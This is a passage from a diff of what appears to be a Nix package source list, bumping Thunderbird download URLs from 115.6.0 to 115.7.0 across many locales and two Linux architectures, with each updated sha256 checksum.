"http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/uz/thunderbird-115.7.0.tar.bz2"; locale = "uz"; arch = "linux-x86_64"; - sha256 = "c9f13e53d4493370c094309ff1e1901cd87ee7596c65e89282024b1d6d2a07c7"; + sha256 = "391998b0aa13f56f2527ce25f91a78bd68a5740e752e624355bea1a494582db8"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/vi/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/vi/thunderbird-115.7.0.tar.bz2"; locale = "vi"; arch = "linux-x86_64"; - sha256 = "70c65de801a4cf090ef8870f97a8cf824629474354f8706ba1f0bbb7a6f156ac"; + sha256 = "cff0aa2ae9e0103a8a53ab31afcc415f351a8adc2034aaadde9d7a3f0ac92f8e"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/zh-CN/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/zh-CN/thunderbird-115.7.0.tar.bz2"; locale = "zh-CN"; arch = "linux-x86_64"; - sha256 = "5351d9fe1a2cca6515e0ffbfd34fe74d260b930558bc168d1b8656f419604332"; + sha256 = "3c8ea8438c8a98e79636685061efac38ab26707087fe47cb784f4852e74fec6f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/zh-TW/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/zh-TW/thunderbird-115.7.0.tar.bz2"; locale = "zh-TW"; arch = "linux-x86_64"; - sha256 = "7949d2eca09e5474a05d8994324d48425c72277f1e96aa950f5c65c2da8fd442"; + sha256 = "925ab3461b2315db94466464cf91a59ec1a81bb736fb488d2270241d37492149"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/af/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/af/thunderbird-115.7.0.tar.bz2"; locale = "af"; arch = "linux-i686"; - sha256 = "07b291ebf3f7867cb3aa0fe82a19a74e9cf83c86bc4f92c213824660a6f4bf28"; + sha256 = "4c50b55bec1742e702a888ffb02ff1f30362cc271a5175d3063fcc378d3f6633"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ar/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ar/thunderbird-115.7.0.tar.bz2"; locale = "ar"; arch = "linux-i686"; - sha256 = "45d528cc36d44960aad6cd64d6a5d1a75900135751d9a1eb1461f10e8e681c54"; + sha256 = "4d959f8020872645c2737a4fec6dfb07f542145c90d453cebd933d4742c89a68"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ast/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ast/thunderbird-115.7.0.tar.bz2"; locale = "ast"; arch = "linux-i686"; - sha256 = "1c7d2ddbea9f05d2b40acd8a05611ff797085d8e99a6b06b1fee17492df56d73"; + sha256 = "a9a137e284afefd0ff8620ce67853b5a51736e9af9e32ac18d5568e49539b77c"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/be/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/be/thunderbird-115.7.0.tar.bz2"; locale = "be"; arch = "linux-i686"; - sha256 = "25a0accbce2e1989ec71db07b5e5831e52a686b240ebed156416f5b9ff3b4d9c"; + sha256 = "b1c99d634c1410d467e10a3b6a2bd3210327dde6c809434cee6000da7e57c4f7"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/bg/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/bg/thunderbird-115.7.0.tar.bz2"; locale = "bg"; arch = "linux-i686"; - sha256 = "a99f0e59db770fdf62d853e506f853e38f65e92d04d6b28a90f8062e4192ee7f"; + sha256 = "94c027ce4fd411d7f5c6969ce70b83a1b1713e75dd5ef79261c89ea0c5f08472"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/br/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/br/thunderbird-115.7.0.tar.bz2"; locale = "br"; arch = "linux-i686"; - sha256 = "8b1444de4034807486f2614e04b3da6d2cadb96f86d2cd36aa46925dad5eeec0"; + sha256 = "33c00ef61021816de04389b14fe7ab97f185d35e162824d166d8f2dea4faa957"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ca/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ca/thunderbird-115.7.0.tar.bz2"; locale = "ca"; arch = "linux-i686"; - sha256 = "b2dd4d74b9c482c7426078cbe08a3f745ddef0a9fe16a6a5691bb7651be4f577"; + sha256 = "548e53b0186bb328b45fdb741a3181f1e8ba7ecfdf8ef969aeb24d8af5676020"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/cak/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/cak/thunderbird-115.7.0.tar.bz2"; locale = "cak"; arch = "linux-i686"; - sha256 = "c8bb93aaa0731caf672e41af38b7fe5d34170e50c3e868dd363ef679102a944e"; + sha256 = "145c24539255010e00a7899f980ba5f6c8cc13c6f3925c9c17bbd1f2b125883a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/cs/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/cs/thunderbird-115.7.0.tar.bz2"; locale = "cs"; arch = "linux-i686"; - sha256 = "1d579af4752467d7cac2f772d2d7b8cae65cd9371e3a3771e21ec538858528a1"; + sha256 = "a98f117f5f188f66c120699350778e8ad44c5fd989bfb38055ec1bc8501213c0"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/cy/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/cy/thunderbird-115.7.0.tar.bz2"; locale = "cy"; arch = "linux-i686"; - sha256 = "4e9c8480087c8fd4a40e85035473ae5c5e8d1ff9b26ac6efc31162af25234e80"; + sha256 = "b6be218c10a41afee4094f2ce4077f7fe49c51c8ba6259a81f6127b897654212"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/da/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/da/thunderbird-115.7.0.tar.bz2"; locale = "da"; arch = "linux-i686"; - sha256 = "53c595e918ad887d3b2aa2048b9874a83a40dd511bcca678ba1ae4a66c401895"; + sha256 = "1cfaf7590ff7659e0583a7610290014db437b374d148855a049d2a06006d9020"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/de/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/de/thunderbird-115.7.0.tar.bz2"; locale = "de"; arch = "linux-i686"; - sha256 = "1f0c3eca7d299c7c790b87586cfcca0398e124537156a555838b03b77c270eea"; + sha256 = "0e7319ee0268b364602ee7eee3246b1cda62e573100e7091d5410d9d195bf9f8"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/dsb/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/dsb/thunderbird-115.7.0.tar.bz2"; locale = "dsb"; arch = "linux-i686"; - sha256 = "7f941eda6eced0fadc81155eb2c51102b5e6186fb5855f7b65e7ae2422e635a9"; + sha256 = "e7b51ab3de11f681740fccc887731cc816f3efa27a3ece879020e2375d4aeb6e"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/el/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/el/thunderbird-115.7.0.tar.bz2"; locale = "el"; arch = "linux-i686"; - sha256 = "29a0af6776493e1e9a4afa170170ff9979817b907b163e934d9f2caa8bfe20bc"; + sha256 = "659251286ed9463604dbf1bb753789dadbd1e3b59c029c568bf5865384c07eb4"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/en-CA/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/en-CA/thunderbird-115.7.0.tar.bz2"; locale = "en-CA"; arch = "linux-i686"; - sha256 = "a0cb55277af0920026bd4785162c39f10ba5b2d35dcb435965130a922f6cc128"; + sha256 = "0437ccb4e1d6c5b1fa8f91c3eb32176abc11d757242afab013ded4562b080b04"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/en-GB/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/en-GB/thunderbird-115.7.0.tar.bz2"; locale = "en-GB"; arch = "linux-i686"; - sha256 = "a2e64df8fd7b0f5e3ffbfbd3df46cdfc21fea228f3aaf6a0caee5c684449b39b"; + sha256 = "08c923762d609967decba41884601a5fa7385986220f222f0061e70eba401ae1"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/en-US/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/en-US/thunderbird-115.7.0.tar.bz2"; locale = "en-US"; arch = "linux-i686"; - sha256 = "d5d79f81b57a35d49f7d6dcc1df6b09db68d258ae603695d8ca332e8ffd6402a"; + sha256 = "8b5d6e9f13c7686a3945bae5a26f083849d610fbddfb7d9a8467f4402f0186c8"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/es-AR/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/es-AR/thunderbird-115.7.0.tar.bz2"; locale = "es-AR"; arch = "linux-i686"; - sha256 = "2122cececa06db9facb24c13404a47889e2800226b4ecb273c041e185b9a3ade"; + sha256 = "66c8d5a311caa8dcd7ba497fe8c7dd0eddbe9405f72fe06ed134a8233f544710"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/es-ES/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/es-ES/thunderbird-115.7.0.tar.bz2"; locale = "es-ES"; arch = "linux-i686"; - sha256 = "fcf3ad6437237515917fa413826b0b607eb959422755d5871f572c5a82d05ba7"; + sha256 = "e00d5af4ba228a9aab68a3a813dd4cc03dbe9dd28dc262b993788bd8ce0d7cb2"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/es-MX/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/es-MX/thunderbird-115.7.0.tar.bz2"; locale = "es-MX"; arch = "linux-i686"; - sha256 = "8fc061bad54d290f8b912014ec3bb7651fb2ba1e102d6053cfc298fb333c5cac"; + sha256 = "fefd4a6ebb4888c1d2514299c99ac0dcd910f583be6621064bb8e35bb81e927e"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/et/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/et/thunderbird-115.7.0.tar.bz2"; locale = "et"; arch = "linux-i686"; - sha256 = "f47aa257578ce3d7879c28d4262d7738383c07d4abe35a24e3b8b468523444c6"; + sha256 = "b1260be6c4e3803b8219fd8b948be6c33db0e03ba79c0b5452ddd95749973992"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/eu/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/eu/thunderbird-115.7.0.tar.bz2"; locale = "eu"; arch = "linux-i686"; - sha256 = "51b9bc06f9426f2876503d7bbaa6e8c5814f60e6bd24905d0f20cafbaeb7b53a"; + sha256 = "831c248aeb1af3a405a280c59533967a26347be767757d494b2fb835519cddc6"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/fi/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/fi/thunderbird-115.7.0.tar.bz2"; locale = "fi"; arch = "linux-i686"; - sha256 = "9c4cc3c76fe99e7f6444e074cb8ce141380db9c838471ea38477695366ece9a2"; + sha256 = "e2867848f23e12c9e326b575bf5fc5c0f847deebfd8758ef7adaa6ddfcb5fc22"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/fr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/fr/thunderbird-115.7.0.tar.bz2"; locale = "fr"; arch = "linux-i686"; - sha256 = "ee526f7532b1b81900cc1368fcd791cdd4eafcb9166d2a4aa49d9bdfd0476c5a"; + sha256 = "2f723caaff319c5a63e92f20c14652fb86e9b5b6b1e47f08ebbb4d5b9e5a5d39"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/fy-NL/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/fy-NL/thunderbird-115.7.0.tar.bz2"; locale = "fy-NL"; arch = "linux-i686"; - sha256 = "ebc8eef40b181c51bfe78b199030092d15038ebee265dd2e3ab89c131f7e4e46"; + sha256 = "6f6f3e9113b61da74599132cc793b12e908fdfe6dbec6e082891e39c7a2d7651"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ga-IE/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ga-IE/thunderbird-115.7.0.tar.bz2"; locale = "ga-IE"; arch = "linux-i686"; - sha256 = "9bb4ca3b5172854fb1d71a1f928db8a525327c712174b6ac5eddca82494a5629"; + sha256 = "802d402c45748b480de1b27d151624ed9c96a2bc93978262e654c561a939db5a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/gd/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/gd/thunderbird-115.7.0.tar.bz2"; locale = "gd"; arch = "linux-i686"; - sha256 = "e7e8252a3d114208e345b1261f9266ac641ab1760214910dfe0b3f5270bb2a4c"; + sha256 = "8ddd2009c6849bb8ae2e5d14202f87831e2613366eaba5da1dfc65b831a46ffe"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/gl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/gl/thunderbird-115.7.0.tar.bz2"; locale = "gl"; arch = "linux-i686"; - sha256 = "e00f131ffb5aec831566e4fd8045ca316cc4c01459d2fcd57f59136f9a7a37fa"; + sha256 = "a726f1269893be461f42f9277d5b6c7f65e2ccfd618735048fa18265390ff633"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/he/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/he/thunderbird-115.7.0.tar.bz2"; locale = "he"; arch = "linux-i686"; - sha256 = "940cee2f7bef2852cf3091ca8abe0cc9c5a9fbef90a19869179798480dbcd323"; + sha256 = "cb0b69268c2abd876965c70f060d7c67a4682af815500fbbc35869cb8dffd500"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/hr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/hr/thunderbird-115.7.0.tar.bz2"; locale = "hr"; arch = "linux-i686"; - sha256 = "ff9ba02327db837af53c0e97d444d5235048e2db3cf2c9e6121c6ec7739bdbeb"; + sha256 = "bf7930a372eb970c4cd16196eedbd471d61f1db3cc142d51a8067e2462419af3"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/hsb/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/hsb/thunderbird-115.7.0.tar.bz2"; locale = "hsb"; arch = "linux-i686"; - sha256 = "6086a73ef05c195391f299f42cf15d9576e184885c61c967e924faa6a5b3464d"; + sha256 = "e83cdd093bdd55b696f42192cd585afb996ea6aa4a58f9ae977a9cb2b2511c9d"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/hu/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/hu/thunderbird-115.7.0.tar.bz2"; locale = "hu"; arch = "linux-i686"; - sha256 = "2c70ed224b2ea9487c0939828b02d2ef37d71119ff856ea53d2004926881dfa6"; + sha256 = "a4b5f3b5675b54e12667ab0937a50a8d96869fcd832e9d8d87fd103e5938c6be"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/hy-AM/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/hy-AM/thunderbird-115.7.0.tar.bz2"; locale = "hy-AM"; arch = "linux-i686"; - sha256 = "acb94ddfa982536817cb9579d6c6f0d6e78081c005d94e10b4e2a684dd010fa1"; + sha256 = "9edefe8788e0497edc6e4000a16043f485ce521d5df4baede0645fb16e52311a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/id/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/id/thunderbird-115.7.0.tar.bz2"; locale = "id"; arch = "linux-i686"; - sha256 = "fc141b8199a3e5b1c8793a7ed49357f92bf6abdbf878a02d7e5d5710e165f18c"; + sha256 = "6e30f98b85df9b828e8867b4e58db6b7fd185562fc2195c76ddbe196be23a15a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/is/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/is/thunderbird-115.7.0.tar.bz2"; locale = "is"; arch = "linux-i686"; - sha256 = "0aa15d63f08e8d1e04757bf20855ae5e21759d9c51ee50597db98fee648cbb35"; + sha256 = "5a9295d0342affda3f2b1aa19ffd65414d7999cc6830e559f3daa74757a514fb"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/it/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/it/thunderbird-115.7.0.tar.bz2"; locale = "it"; arch = "linux-i686"; - sha256 = "5a103f2bbed408abfebe04221d44114dc885620c8003c9f79108f0e27180a045"; + sha256 = "bba64e37a0133bb691a4a6686ce5306609a80f445fc8b56e65baa16d7d8055a2"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ja/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ja/thunderbird-115.7.0.tar.bz2"; locale = "ja"; arch = "linux-i686"; - sha256 = "a02a44ca0442aa593b15831bd0aeedc155852f906dd58801102c382b06623497"; + sha256 = "1edd799ab0ec6277921783724c4bdcaa34b7e6ff812be387c346db4d0808a649"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ka/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ka/thunderbird-115.7.0.tar.bz2"; locale = "ka"; arch = "linux-i686"; - sha256 = "b77707369d2baac5e181d957e39585d470ad4b4602b56d574184d29477fd047b"; + sha256 = "84aebac8730987c95f3f5b339b8e20abb107d72c61359bf9c4721c8a2a95805b"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/kab/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/kab/thunderbird-115.7.0.tar.bz2"; locale = "kab"; arch = "linux-i686"; - sha256 = "5e3283b39f8b59d677aa60aa1766d647e0feb2deaad25f159066b5c420932be2"; + sha256 = "1cfddc33c172f410ef42986f7b3cf699924b68f687d962fa72712a167cc0809b"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/kk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/kk/thunderbird-115.7.0.tar.bz2"; locale = "kk"; arch = "linux-i686"; - sha256 = "6451c736c8cf44f08855c1b5a5d18a823d864732f03b2f7c611590271c99cf04"; + sha256 = "729f782298fca07ca2d85546dfab3c76cb65d93ffa667ebbdb9d37ade60bdfe0"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ko/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ko/thunderbird-115.7.0.tar.bz2"; locale = "ko"; arch = "linux-i686"; - sha256 = "a56d3f4536fecb6090d2ac939fcf03c43b277a078cea0648850ee1dc40ad5f8a"; + sha256 = "1ff325f445014c8de6e20f3751f8e860a7d5926b49db22e6b11da30982d923dd"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/lt/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/lt/thunderbird-115.7.0.tar.bz2"; locale = "lt"; arch = "linux-i686"; - sha256 = "15862bf349b8325bd58e3efb588de9d07c0be47f40c3550398e5297aa43bac26"; + sha256 = "f68c2036565210abaa1600edf452f56f0ee2a4ff5abe559c5a5ae91b69eb077f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/lv/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/lv/thunderbird-115.7.0.tar.bz2"; locale = "lv"; arch = "linux-i686"; - sha256 = "429c366482550f0ac705a5abe34a43aeb28004129ffe9f3869c831135c3f0ca0"; + sha256 = "2aad0b4d05ae097f9868d44e14d24708b913aee3acb20ff917b31e83aa6b0580"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ms/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ms/thunderbird-115.7.0.tar.bz2"; locale = "ms"; arch = "linux-i686"; - sha256 = "f6a9353b2abca86f7f45260b1673a32df8581da6f72cb3dc16d7112adf49b610"; + sha256 = "0b01eb8435a9d1a517892d510076c1ed6774820fe9194f00565b6febc3f296ed"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/nb-NO/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/nb-NO/thunderbird-115.7.0.tar.bz2"; locale = "nb-NO"; arch = "linux-i686"; - sha256 = "13b7a2b10bce00585f10d6172d2fb8468d457e8d589e4f924b5de118008d750d"; + sha256 = "19c4d4f33c13733e8ac803ac4b31c6dfdce690096a0069e3a5ce98880439089c"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/nl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/nl/thunderbird-115.7.0.tar.bz2"; locale = "nl"; arch = "linux-i686"; - sha256 = "19e3c05e1f46bd34bfb91e0e42b923f4011ba7a67b90542b8b50229ab43f78a2"; + sha256 = "c2c3cac2d43649bff80c1deadfa277f47436a9ca81c774513f032059a29aa634"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/nn-NO/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/nn-NO/thunderbird-115.7.0.tar.bz2"; locale = "nn-NO"; arch = "linux-i686"; - sha256 = "50218d6fd52cabdb1e4fb1aefb4b53bbd444fc8d5fafeeb59268123e9cbc327a"; + sha256 = "aaed36153be0f65e1af44bc25540f88e03500580390f8624a388f0667389e0f8"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/pa-IN/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/pa-IN/thunderbird-115.7.0.tar.bz2"; locale = "pa-IN"; arch = "linux-i686"; - sha256 = "2ac0194a1b51396244216cf44d7cee1dc19e80a1069b9da035229569ef07c8b2"; + sha256 = "4035e2465ea039f20982a0e91fd216a39c7ddd0095cfd6ae60e394a48102c392"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/pl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/pl/thunderbird-115.7.0.tar.bz2"; locale = "pl"; arch = "linux-i686"; - sha256 = "71c3cf6acd6c28462430da90ff5de20820370a79c2e8062dec0dc64c7558c841"; + sha256 = "3e9a503f0fc39064c3d994160bbc3b52a9ab5b1c023a48dca8034407dc505250"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/pt-BR/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/pt-BR/thunderbird-115.7.0.tar.bz2"; locale = "pt-BR"; arch = "linux-i686"; - sha256 = "ff0b5ede7048dc9b59cbe0fd0a5b67b4139ffc8573ca708828598dab7881ef8f"; + sha256 = "642caf0a4792c2d101057cd0d7f90e9537571b9e3a8f0b396a4aa5e0564168ab"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/pt-PT/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/pt-PT/thunderbird-115.7.0.tar.bz2"; locale = "pt-PT"; arch = "linux-i686"; - sha256 = "2a1da87542faa02b14fe24e0fe5087a91154e34da44cd85d99c2f0ecd4d90609"; + sha256 = "af59efb2183b11a73c019897eda156c55b95ce2d257b1a3124a984ada97120e9"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/rm/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/rm/thunderbird-115.7.0.tar.bz2"; locale = "rm"; arch = "linux-i686"; - sha256 = "0039a65b5cb2f4e65cd80d74b25a39f3d2865848fa657d4025185c4d02493fb3"; + sha256 = "fea0f8a58ba8cd743dc625b9ec788574144cda664040936359a5b3b2c9ef480c"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ro/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ro/thunderbird-115.7.0.tar.bz2"; locale = "ro"; arch = "linux-i686"; - sha256 = "d6fb761490e0281bb5a2e03afa6abb8fed34233ba1308d84c4f37d0a0f799126"; + sha256 = "fe82637776187b797e9472ab3a78fed34fe032b23d0a46c96dfa67da2a0a74c4"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/ru/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/ru/thunderbird-115.7.0.tar.bz2"; locale = "ru"; arch = "linux-i686"; - sha256 = "971a40cf457113c40a51297972acb085dbfa95eead3050254f8b591a192cabe8"; + sha256 = "3fab0c82c60d92bedef1a9e25d2aa9575adb946810f8f3abda7717f89e488ed2"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/sk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/sk/thunderbird-115.7.0.tar.bz2"; locale = "sk"; arch = "linux-i686"; - sha256 = "3463d64670355ed590097997e1a4a138ac5f5993ea153a59eac26410aa2a8544"; + sha256 = "d505b5831f7f22a90668913e7993b2219dad771db35bceedc2643828f0c7d783"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/sl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/sl/thunderbird-115.7.0.tar.bz2"; locale = "sl"; arch = "linux-i686"; - sha256 = "143190c87d22e14da14a26e9e8f6aef73b34bdd198d13bd1e4e01160614a198f"; + sha256 = "36cb47d404234d732d103039ab1f313658188b8042eaea0e1a8f5e49d24ff8d1"; } - { url = 